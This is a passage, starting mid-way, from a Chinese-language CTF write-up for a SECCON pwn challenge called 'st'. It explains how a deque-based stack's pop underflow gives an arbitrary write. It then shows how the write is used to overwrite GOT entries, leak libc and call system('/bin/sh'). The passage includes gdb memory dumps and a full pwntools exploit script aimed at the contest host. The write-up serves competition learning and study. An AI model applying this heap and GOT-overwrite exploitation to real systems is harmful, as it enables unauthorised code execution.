═══════════════════════════════════════════════════════════════════
finish.cur = 0x29837310 (已更新)
│
▼
┌────────────┬────────────┬────────────┬────────────┐
│ 0xdeadbeef │ 0xCAFEBABE │ 0x00000000 │ ... │ S.buffer
└────────────┴────────────┴────────────┴────────────┘
0x29837300 0x29837308 0x29837310
▲ ▲
│ │
finish.first 写入位置
6. 漏洞利用时的 Push
当 finish.cur 被控制为 GOT 表地址时:
假设通过空栈 pop 漏洞,finish.cur 被设置为 0x405028 (GOT 表)
执行 S.push(system_addr):
═══════════════════════════════════════════════════════════════════
finish.cur = 0x405028 (被控制的地址)
│
▼
┌────────────────────────────────────────────────────────────────┐
│ GOT 表 │
│ ... │
│ 0x405028: [operator delete] = 0x7ffff7xxxxxx (原始 libc 地址) │
│ ... │
└────────────────────────────────────────────────────────────────┘
执行 *finish.cur = system_addr 后:
═══════════════════════════════════════════════════════════════════
┌────────────────────────────────────────────────────────────────┐
│ GOT 表 │
│ ... │
│ 0x405028: [operator delete] = system_addr ← 被覆写! │
│ ... │
└────────────────────────────────────────────────────────────────┘
之后任何调用 operator delete 的操作都会执行 system()!
push操作不用理解很深刻,在这道题只需要知道push的时候,buffer不够了是先分配再调整指针,写值即可,还有就是map不够了也是会重新分配一片更大的内存
如果最开始只pop是不行的,虽然可以越界
for i in range(64):
T_pop()
for i in range(64):
T_pop()
for i in range(64):
T_pop()
pause()
"""
0x405380 <T>: 0x0000000032a1e510(**_M_map) 0x0000000000000008
0x405390 <T+16>: 0x0000000032a1e560 0x0000000032a1e560
0x4053a0 <T+32>: 0x0000000032a1e760 0x0000000032a1e528
0x4053b0 <T+48>: 0x0000000000000000 0x0000000000000000
0x4053c0 <T+64>: 0x0000000000000200 0x0000000032a1e510(_M_finish->node)
"""
#THE NEXT T_pop() WILL BACK OVERFLOW _M_map
T_pop()
"""
0x405380 <T>: 0x0000000032a1e510(**_M_map) 0x0000000000000008
0x405390 <T+16>: 0x0000000032a1e560 0x0000000032a1e560
0x4053a0 <T+32>: 0x0000000032a1e760 0x0000000032a1e528
0x4053b0 <T+48>: 0x0000000000000249 0x0000000000000051
0x4053c0 <T+64>: 0x0000000000000251 0x0000000032a1e508(_M_finish->node)
"""
但是再越界就会触发free heap head,
for i in range(64):
T_pop()
for i in range(64):
T_pop()
for i in range(64):
T_pop()
"""
0x405380 <T>: 0x0000000032a1e510(**_M_map) 0x0000000000000008
0x405390 <T+16>: 0x0000000032a1e560 0x0000000032a1e560
0x4053a0 <T+32>: 0x0000000032a1e760 0x0000000032a1e528
0x4053b0 <T+48>: 0x0000000000000000 0x0000000000000000
0x4053c0 <T+64>: 0x0000000000000200 0x0000000032a1e510(_M_finish.node)
"""
#T_pop()
#THE NEXT T_pop() WILL BACK OVERFLOW _M_map
"""
0x405380 <T>: 0x0000000032a1e510(**_M_map) 0x0000000000000008
0x405390 <T+16>: 0x0000000032a1e560 0x0000000032a1e560
0x4053a0 <T+32>: 0x0000000032a1e760 0x0000000032a1e528
0x4053b0 <T+48>: 0x0000000000000249 0x0000000000000051
0x4053c0 <T+64>: 0x0000000000000251 0x0000000032a1e508(_M_finish.node)
"""
#BUT THE HEAP_SIZE IS NO USE, SO KEEP GOING
for i in range(64):
T_pop()
#THE NEXT T_pop() WILL CRASH
#BECAUSE _M_finish->cur == _M_finish->first
"""
if (this->_M_finish.cur == this->_M_finish.first) {
// 0x401964: call deque_M_pop_back_aux_VULN
deque_M_pop_back_aux_VULN(this);
void deque_M_pop_back_aux_VULN(std_deque* this) {
// 0x401e6f: call deque_M_deallocate_node
_M_deallocate_node(this->_M_finish.first);############# we can't free 0x0000000000000051
// 0x401e80: mov rdx, [rdx+48h]
// 0x401e84: sub rdx, 8
unsigned long** new_node = this->_M_finish.node - 1;
// 0x401e8e: call deque_iterator_M_set_node
_M_set_node(&this->_M_finish, new_node);
// 0x401ea3: mov [rax+30h], rdx
this->_M_finish.cur = this->_M_finish.last - 1;
}
"""
"""
0x405380 <T>: 0x000000003e43d510 0x0000000000000008
0x405390 <T+16>: 0x000000003e43d560 0x000000003e43d560
0x4053a0 <T+32>: 0x000000003e43d760 0x000000003e43d528
0x4053b0 <T+48>: 0x0000000000000051(_M_finish.cur) 0x0000000000000051(_M_finish.first)
0x4053c0 <T+64>: 0x0000000000000251 0x000000003e43d508
"""
所以我们肯定的先push,接下来有一个很关键的地方。**map大小不够重新分配时,不会清空原来堆内存里的残留数据,并且他是从中间开始往后写(毕竟底层是deque,还要为前面预留空间,只是对于stack来说不需要)
所以可以通过堆风水造成这样的布局

这时pop溢出后cur指针就不会先变成0x51这样的chunk头了(不知道在说什么的再回看前面的代码段,里面有展示cur指针为0x51),而是会先变成我们可控的地址,所以可以造成任意地址写(但是只能指定一次地址,可以自己思考为什么)
比赛完在discord交流时发现,其实没必要进行堆风水,最开始在输入name时如果输0x800个A,会导致一个unsorted bin,所以可以直接布置一个地址上去。
那么,我们要写什么地方呢?
答案是写另一个stack的cur指针,比如我们通过stack S写stack T的cur指针,那么就可以通过T push进行任意地址写,写完再通过stack S控制stack T的cur指针,这样就可以造成无限的任意地址写。
有了任意地址写,如何get shell,我们还没有libc,我们需要leak libc。
利用任意地址写,将std::string的char* _M_p;写为got表地址,再将operator new的got写为
std::cout << "Hello, " << name << "!" << std::endl;
地址(为什么写operator new而不是exit?因为这道题没有exit的got表……)
利用S push触发malloc回到main即可泄露libc(仔细看源码你会发现,他是先malloc再调整指针写数据,触发malloc就回到main函数了,没有调整指针写数据的环节,所以不会影响接下来的任意写)
继续利用任意地址写,往一个bss地址写入/bin/sh,再将operator delete写为system
接着利用stack S将stack T的cur和first指针都写为bss地址,进行一次T pop即可触发operator delete(bss),也就是system(/bin/sh)
此时发现栈没对齐,system失败了,于是再在之前增加一步,再触发一次malloc跳回
std::cout << "Hello, " << name << "!" << std::endl;
达到调整栈帧的目的,再执行system(/bin/sh)即可
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "st" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6_2.39-0ubuntu8.5_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "st.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6-dbg_2.39-0ubuntu8.5_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/glibc-source_2.39-0ubuntu8.5_all/usr/src/glibc/glibc-2.39
'''
def base(name, data, offset):
if isinstance(data, bytes):
if name == "canary":
base = u64(data)
else:
base = u64(data + b'\x00' * 2) - offset
elif isinstance(data, int):
base = data - offset
log.success(f"{name} = " + hex(base))
return base
def format_extract(data):
return re.search(b'0x[0-9a-fA-F]{12}', data).group(1)
def sa(io, a, b):
io.sendafter(a, b)
def sla(io, a, b):
io.sendlineafter(a, b)
def ru(io, a):
io.recvuntil(a)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def fill_stack(stack_name, data):
global s_idx
global t_idx
if (stack_name == 'S'):
for i in range(64):
S_push(data)
s_idx += 64
else:
for i in range(64):
T_push(data)
t_idx += 64
def pop_stack(stack_name):
global s_idx
global t_idx
if (stack_name == 'S'):
for i in range(64):
S_pop()
s_idx -= 64
else:
for i in range(64):
T_pop()
t_idx -= 64
def S_push(v):
#sleep(0.01)
io.sendline(str(1))
#sleep(0.01)
io.sendline(str(v))
def S_pop():
#sleep(0.01)
io.sendline(str(2))
def T_push(v):
#sleep(0.01)
io.sendline(str(3))
#sleep(0.01)
io.sendline(str(v))
def T_pop():
#sleep(0.01)
io.sendline(str(4))
"""
// Deque 迭代器结构 (0x20 bytes)
struct _Deque_iterator {
unsigned long *cur; // +0x00: 当前位置指针
unsigned long *first; // +0x08: buffer 起始
unsigned long *last; // +0x10: buffer 结束
unsigned long **node; // +0x18: map 中的 node 指针
};
// Deque 主结构 (0x60 bytes)
struct std_deque {
unsigned long **_M_map; // +0x00: map 数组指针
unsigned long _M_map_size; // +0x08: map 大小
struct _Deque_iterator _M_start; // +0x10: 起始迭代器
struct _Deque_iterator _M_finish; // +0x30: 结束迭代器
};
"""
s_idx = 0
t_idx = 0
name_addr = 0x0000000000405300
S_addr = 0x0000000000405320
T_addr = 0x0000000000405380
atexit_addr = 0x0000000000405020
main_addr = 0x401376
libc_start_main_got = 0x404FD8
delete_addr = 0x405040
new_got = 0x405038
cout_addr = 0x4013D5
io = start()
name = b'A' * 0x20
sla(io, "What's your name?\n", name)
for i in range(25):
fill_stack('S', 0x1337)
for i in range(13):
fill_stack('T', 0xdeadbeef)
for i in range(32):
T_push(0xcafebabe)
for i in range(4):
T_push(0xAAAAAAAA)
for i in range(20):
T_push(0xffffffff) ##################control
T_push(T_addr - 0x1f8 + 0x30 + 0x10)
for i in range(7):
T_push(0xcccccccc)
for i in range(32):
T_push(0xdeadbeef)
for i in range(14):
pop_stack('T')
fill_stack('S', 0x1337)
for i in range(14):
pop_stack('S')
for i in range(12):
pop_stack('S')
S_pop()
S_pop()
#arbitrary write
S_pop()
S_push(name_addr)
T_push(libc_start_main_got)
#arbitrary write
S_pop()
S_push(new_got)
T_push(cout_addr)
S_push(0x405000)
S_push(0xffffffff)
#trigger malloc
io.recvuntil("Hello, ")
io.recvuntil("Hello, ")
libc_base = base("libc_base", io.recv(6), 0x2a200)
S_pop()
S_pop()
#arbitrary write
S_pop()
S_push(delete_addr)
T_push(libc_base + libc.sym['system'])
bss = 0x405500
#arbitrary write
#S_pop()
#S_push(bss)
#T_push(u64(b'/bin/sh\x00'))
S_push(bss)
S_push(bss)
S_push(bss)
S_pop()
S_pop()
S_pop()
S_push(bss)
T_push(u64(b'/bin/sh\x00'))
S_push(bss)
S_push(bss)
T_pop()
io.interactive()
